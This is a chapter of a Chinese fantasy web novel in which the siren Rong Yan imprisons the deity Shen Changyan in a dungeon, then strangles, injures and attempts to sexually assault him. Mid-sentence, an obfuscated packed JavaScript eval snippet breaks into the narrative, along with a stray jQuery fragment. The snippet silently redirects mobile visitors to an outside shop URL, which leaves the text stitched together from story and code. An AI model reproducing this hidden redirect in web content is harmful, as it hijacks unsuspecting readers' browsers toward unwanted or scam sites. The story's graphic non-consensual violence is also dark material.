哥哥?
容岸居然还有哥哥?
但是容岸从来没有和他提过啊。
“你是他哥哥?那你为什么要假扮他?”
“逗逗你而已,你要是真的那么想见他,我可以带你去啊。”
沈长厌搞不明白他到底在想什么,“现在就带我去。”
“好哥哥,我还被你捆着呢,你得给我松开呀。”
沈长厌对他的警惕性还是很强,没有帮他解开,抓着藤蔓的一头将他拉了过来,“捆着怎么就不能带路了?走!”
“好凶啊。”
他被沈长厌拽着,却满脸邪气的笑容,还意味不明的看着沈长厌的身体,“往这边走,往下,他就在下面。”
因为来的时候容砚是直接带着他到了上层,还没有接触过下层。
沈长厌跟着他一路往下走,这座塔状建筑足足有四十几层,越往下越昏暗压抑,最后几乎是伸手不见五指,但是还没完,地面以下依旧有数不清的层数。
“知道这是什么地方吗?”
“不知道。”
“碎骨沉渊,最肮脏最恶心最折磨人的地方。”
沈长厌提着灯,能看见墙壁布满经年的锁痕和铁链磨出的沟壑,镣铐顺着石壁蜿蜒而下,一层又一层的铁门隔绝每一间囚室。
这里像是监狱。
“停,就在这。”
容砚站住了,靠在一间牢房的门前,示意沈长厌进去,沈长厌根本不怕他,提着灯走进去。
容砚就跟在他身后,待两人都进去,门砰地一声在身后锁住了。
“容岸呢?”
容砚回头看他,见他提着灯,皎洁清冷的光芒笼罩在他周身,神色清冷淡漠,一身素净衣衫纤尘不染,静静立在这片狼藉中,将遍地肮脏隔绝在外,仿佛所有污秽都没办法侵染半分。
两相对比视觉冲击极大,甚至带来异样的满足,让人忍不住兴奋,想把他永远关在这里。
看看还能不能一辈子都这么干净。
容砚凑到他面前,“还想他干什么?”
沈长厌手心泛起莹莹金光,一掌打在他胸口,容砚顿时被击飞出去,猛地摔到墙上,吐出口血。
“行啊,这些年恢复得不错嘛,法力都这么强悍了。”
沈长厌听他的语气虽然不舒服,但话里话外好像都是他们曾经认识。
他上前猛地揪住容砚的衣领将他拉拽过来,“你到底是什么意思?我和你也认识吗?”
“何止是认识,你的事,还有容岸的事我可都记着呢。”深紫色的眼睛直勾勾地看着他,沈长厌有一瞬间的眩晕,身体忽然没劲踉跄了一下。
容砚顺势挣开绑缚着的藤蔓,揽住他的腰将他带进怀里,提灯脱手掉在地上。
沈长厌感觉脖颈阵阵发烫,酥麻感渐渐传遍全身,导致他使不出半点力气,法力也凝聚不出来。
他表面依旧维持着平静,没有半点慌乱,只有垂在身侧的手微微攥紧。
但是这点变化逃不过容砚的眼睛,黑暗中在沈长厌颈侧他看不见的位置已经明显烙印上了一个深蓝色的花纹,可以完全压制住他的神力。
沈长厌推开他扶着墙壁后退,脑海阵阵发晕,没有了法力护体,空气中弥漫的邪气让他喘不过气来。
扑通一声跪在地上,此时才察觉到这里的可怕。
此地侵染过无数鲜血,经久不散的邪气沉沉浮荡在空气里,带着挥之不去的凶戾、怨念、绝望、还有恨意。
碎骨沉渊是什么样的地方?
为什么这里会有这么浓重的邪气?这里到底发生过什么?
容砚也跪在他面前,“容岸确实在这里,只不过是曾经,曾经他就被关在这里。”
“你能感受到他留下来的那些恶意吗?随便扔进来一个人吸入这些戾气都能邪化,你不觉得恶心吗?像你这种神明应该沾上都嫌脏。”
沈长厌只捕捉到了关键的地方,容岸曾经被关在这里?
他在这里感受到了很多的痛苦绝望。
“这座高楼的最底层是地下城的入口,碎骨沉渊,那才是真正的深渊地狱,每一代塞壬都要经过厮杀上来才能即位,我和他都是踩过尸山血海上来的。”
沈长厌声音发颤,“然后呢?”
“然后?然后他没能出去,被我永远关在了这里,我继承王位。”
容砚没有心满意足地在他眼中看到嫌恶和恶心,反倒看出了心疼和不忍,于是胸腔里憋着一团怒火,更加暴戾。
“那后来?”
“后来他篡位了,玄帝他们为了除掉容岸帮我夺回王位特地派你下来,你不记得了?你和我是站在一边的,你的任务是杀了他啊。”
“你难道忘了自己为什么一睡就是千年?那是因为你暗杀他的计划失败,被他发现,他就这样……”容砚的手缓缓挪到他的胸口,又贴到心脏的位置。“捅进去,捏碎了你的心脏。”
他话音刚落,就像是印证他的话一般,脑海里闪过了对应的片段。
“为什么你能什么都忘了,又还能走到一起,忘了循环里他杀过你几次,你又杀过他几次吗?”
“你也有循环的记忆?”
“当然,海洋的记忆都被保留了下来。”
他手轻柔地拂过沈长厌苍白的脸颊,“你知道吗,我和他是一样的,一样的兽性一样的手段狠毒,恶劣不堪,就连喜欢的东西,也是一样的。”
“我好喜欢你。”
他抱住他,用力地几乎要把他揉进怀里,“你知不知道这些天我看着你们恩爱甜蜜有多痛苦?你明明最初是和我站在一边的,为什么失忆了要跑到他那里去。”
尤其是看到沈长厌后颈上容岸留下的印记,还有他对容岸那样温柔认真的态度,都要嫉妒得发狂了。
凭什么容岸能得到这些?
沈长厌现在是彻底乱了,“他现在在哪?我要找他。”
沈长厌一提起容岸,他就感觉非常、非常的愤怒,他一把掐住沈长厌的脖子,将他按在墙上。
“你觉得我会让你去吗?他还在石林里做梦呢。”
沈长厌被掐得喘不过气,但大脑异常清醒,心头立刻涌现了一股可怕的猜测,“被炼化成尸体的骊龙骸骨是你干的?骸骨里的骊珠呢?你难道想让他……”
“骊龙下巴上的骊珠可以让人永远坠入痛苦的记忆中,时间一长,意识会被一点一点消磨,再也醒不过来,从他自己回到石林地下开始,现在已经晚了。”
沈长厌像是骤然坠入冰冷的深海,沉重的寒意顺着心口蔓延至四肢百骸,那一瞬间眸底
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840759|211636||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
翻涌的情绪掩藏不住。
容砚眸底燃起妒火,此刻危险得可怕,他忽然将沈长厌腕间的敛光带抽了出来,粗暴地蒙住了他的眼睛。
“要是敢给他掉一滴眼泪,我就把你的眼睛挖出来。”
视野陷入漆黑,紧接着脖颈上缠上了一条缎带,猛地一紧,勒得他几乎窒息,双手死死抓住,紧接着就被拉着缎带在地上拖行。
一直被拖到牢房中央的位置脖颈上的缎带才松开。
“咳咳!!”
他手肘撑地,脱力地喘息,可随后容砚就压了上来。
看着他白皙脖颈上泛红的痕迹,现在还留下了指印,像是一个精致易碎的瓷器,现在被蒙着眼,让人几乎控制不住凌虐的欲望。
他对人鱼族的吸引力真的很强,谁看了都迫不及待地想把他据为己有,想在最肮脏的地方上他、污染他,尤其是想到容岸还没有对他做过就更让人兴奋。
容砚身体和他紧密相贴,滚烫的呼吸铺散在他颈侧,“怪我一开始就应该杀了他,而不是带他去见你,这样在一起幸福的就会是咱们两个,没有他什么事了。”
“那也不可能。”
安静了一瞬,紧接着脖颈再次被勒紧,他痛哼一声,手臂忽然传来剧痛,小臂咔一声被拧断,顿时疼得浑身直冒冷汗。
他感觉自己像是一个玩物一样惹得他不满意就被随意拖拽惩罚。
还说什么喜欢。
容砚忽然看到了什么,眼睛危险地眯起,手探到他的脖颈的线绳底下,一勾。
一条串着珍珠和鳞片的项链被勾了出来。
“你竟然还贴身戴着。”他发狠猛地一扯,线绳断开,珠子散落一地,连带着那枚紫色荧光的鳞片。
沈长厌眼睛还被蒙着,听到声音赶紧去摸掉在地上的东西,但容砚不给他这个机会,直接把他提到了自己怀里,一边掐着他的喉咙,一边扯他的衣服。
“你能爱他就不能爱我?我和他同源同生几乎没有区别,只是他装得更好罢了,我甚至能猜到他心底里都有什么龌龊的想法。”
“滚!”他忍着疼把眼睛上的绑带扯开,手肘猛地击向容砚,容砚偏头一躲,可随后另一边就挨了一巴掌。
容砚顿了一下,舌尖抵了抵被打的那半张脸,眼里的色彩立刻变得更诡异了。
沈长厌也有点懵,怎么一个两个挨打的反应都这么奇怪,那他打还是不打?
来不及反应,他被猛地按住后脑压在地上,脸贴着冰凉的地面,容砚像一座山一样压得他根本起不来。
“起来!”
湿润的触感从后颈传过来,脊背像是有电流窜过,接着肩膀一凉,衣服又被拉下去了一点。
容砚痴迷地在他后颈上舔过,刚要咬下去。
一股力量爆发式的席卷过来,无形的威压骤然扩散,容砚瞳孔骤缩,他根本抵抗不了这股排斥的力量,被逼得起身步步退远。
在昏暗中,看着沈长厌后颈一直延伸至肩膀脊背上的艳紫花纹,眯了眯眼,眼底的戾气挥之不去。
野兽就是野兽,爱给所有物打上印记,还让别人不能近身。
沈长厌也不好受,感觉脊背像是被火烤一样难受。
许久容砚才讥讽地冷笑一声,“呵,看来他还没死,碍事的东西。”